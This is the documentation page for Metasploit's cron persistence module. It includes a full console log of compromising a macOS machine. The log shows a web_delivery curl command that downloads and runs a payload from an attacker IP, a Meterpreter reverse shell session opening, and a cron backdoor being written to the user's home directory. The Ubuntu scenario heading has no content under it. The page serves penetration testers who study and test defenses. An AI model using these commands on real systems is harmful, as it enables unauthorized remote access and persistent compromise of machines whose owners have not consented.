CoCalc -- cron.md

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/documentation/modules/exploit/multi/persistence/cron.md
²³⁶⁵⁴ views

Vulnerable Application

This module will create a cron or crontab entry to execute a payload. The module includes the ability to automatically clean up those entries to prevent multiple executions. syslog will get a copy of the cron entry.

Verified on Ubuntu 22.04.1, MacOS 13.7.4

Verification Steps

Start msfconsole
Exploit a box via whatever method
Do: use exploit/multi/persistence/cron
Do: set session #
Do: set target #
Optional Do: set username (depends on target selection)
Do: exploit

Options

USERNAME

Set a specific user's crontab if target 'User Crontab' is selected

TIMING

Set cron's timing. Default is to run within a minute. Defaults to * * * * *

PAYLOAD_NAME

If using a non-cmd/fetch payload, the name of the payload file. Defaults to random.

Scenarios

MacOS 13.7.4

Initial access via web delivery

resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
srvport => 8181
resource (/root/.msf4/msfconsole.rc)> set lport 4545
lport => 4545
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
URIPATH => l
[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set target 8
target => 8
[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set payload payload/osx/x64/meterpreter/reverse_tcp
payload => osx/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > exploit
[-] Msf::OptionValidateError One or more options failed to validate: LHOST.
[*] Exploit completed, but no session was created.
[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set lhost 111.111.1.111
lhost => 111.111.1.111
[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > 
[*] Started reverse TCP handler on 0.0.0.0:4545 
[*] Using URL: http://111.111.1.111:8181/l
[*] Server started.
[*] Run the following command on the target machine:
curl -sk --output 4aJvtPCb http://111.111.1.111:8181/l; chmod +x 4aJvtPCb; ./4aJvtPCb& disown
[*] Transmitting first stager...(214 bytes)
[*] Transmitting second stager...(49152 bytes)
[*] Sending stage (815032 bytes) to 172.17.0.3
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 172.17.0.3:49171) at 2025-02-17 17:14:43 -0500
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/Users/macos) > sysinfo
Computer     : 20.20.20.21
OS           : macOS Ventura (macOS 13.7.4)
Architecture : x86
BuildTuple   : x86_64-apple-darwin
Meterpreter  : x64/osx
(Meterpreter 1)(/Users/macos) > getuid
Server username: macos
(Meterpreter 1)(/Users/macos) > background
[*] Backgrounding session 1...

Due to networking issues, persistence payload is a cmd to touch a file.

[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/persistence/cron 
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set target 2
target => 2
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set payload payload/osx/x64/exec
payload => osx/x64/exec
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set cmd "/usr/bin/touch /Users/macos/executed_demo"
cmd => /usr/bin/touch /Users/macos/executed_demo
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set AllowNoCleanup true
AllowNoCleanup => true
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set user macos
user => macos
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set writabledir /Users/macos
writabledir => /Users/macos
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set session 1
session => 1
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > exploit
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(multi/persistence/cron) > 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
[*] Writing backdoor to /Users/macos/nGnXw
[*] Writing '/Users/macos/nGnXw' (17204 bytes) ...
[*] Utilizing crontab since we can't write to /var/at/tabs/
[+] Payload will be triggered when cron time is reached
[msf](Jobs:2 Agents:1) exploit(multi/persistence/cron) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/Users/macos) > ls
Listing: /Users/macos
=====================
Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
100400/r--------  7       fil   2025-02-17 09:22:02 -0500  .CFUserTextEncoding
040700/rwx------  64      dir   2025-02-17 09:23:29 -0500  .Trash
100600/rw-------  4057    fil   2025-02-17 12:46:46 -0500  .viminfo
100600/rw-------  1291    fil   2025-02-17 17:11:33 -0500  .zsh_history
040700/rwx------  256     dir   2025-02-17 17:11:33 -0500  .zsh_sessions
100755/rwxr-xr-x  815032  fil   2025-02-17 12:23:58 -0500  2gXD9pz
040700/rwx------  96      dir   2025-02-17 09:21:18 -0500  Desktop
040700/rwx------  96      dir   2025-02-17 09:21:18 -0500  Documents
040700/rwx------  96      dir   2025-02-17 09:21:18 -0500  Downloads
040700/rwx------  2464    dir   2025-02-17 11:17:13 -0500  Library
040700/rwx------  96      dir   2025-02-17 09:21:18 -0500  Movies
040700/rwx------  96      dir   2025-02-17 09:21:18 -0500  Music
040700/rwx------  128     dir   2025-02-17 11:14:18 -0500  Pictures
040755/rwxr-xr-x  128     dir   2025-02-17 09:21:18 -0500  Public
100644/rw-r--r--  0       fil   2025-02-17 17:19:00 -0500  executed_demo
100700/rwx------  17204   fil   2025-02-17 17:18:27 -0500  nGnXw

Ubuntu 22.04.1